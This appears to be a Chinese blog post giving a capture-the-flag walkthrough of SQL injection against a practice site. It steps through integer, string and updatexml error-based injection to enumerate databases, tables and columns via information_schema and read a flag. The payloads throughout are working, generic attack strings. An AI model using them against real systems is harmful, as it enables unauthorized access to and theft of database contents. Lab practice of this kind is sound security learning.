sql注入(整型、字符型、报错)

一、整型注入

1.从1开始输入数字判断字段数,输入3时报错,说明只有两个字段。

2.将1改为-1,输入-1 union select 1,2 ,观察到Data发生变化,因此显示位是Data。

3.接着查询数据库名,输入

-1 union select 1,group_concat(schema_name) from information_schema.schemata查出数据库名为sqli。

4.接着查询数据库表名,输入

-1 union select 1,group_concat(table_name)  from information_schema.tables where table_schema='sqli'查出数据库表名为flag。

5.在flag表中查询查询字段名,输入

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' && table_name='flag'查出字段flag。

6.查询字段值,输入

-1 union select 1,group_concat(flag) from flag得到flag。

二、字符型注入

1.从1'开始输入数字判断字段数,输入3时报错,说明只有两个字段。

2.输入-1’ union select 1,2#判断出显示位为Data。

3.查询数据库名,输入-1’ union select 1,database()#获得库名sqli。

4.查询数据库表名,输入

-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’#获得表名flag。

5.查询表的字段名,输入

-1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’#获得表的字段名flag。

6.查询flag的字段值,输入-1’ union select 1,flag from sqli.flag#得到flag。

三、报错注入

1.判断字段数,输入3时报错,说明只有两个字段。

2.利用updatexml(),把中间路径改为想要获取的数据库名,输入-1 and updatexml(1,concat(1,database()),2)得到数据库名称为sqli。

3.查询表名,输入-1 and updatexml(1,(concat(1,(select group_concat(table_name) from information_schema.tables where table_schema =‘sqli’))),2)得到flag表。

4.查询字段名,输入-1 and updatexml(1,(concat(1,(select group_concat(column_name) from information_schema.columns where table_name =‘flag’))),2)得到字段名flag。

5.查询字段值,输入-1 and updatexml(1,(concat(1,(select flag from sqli.flag))),2)得到flag。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值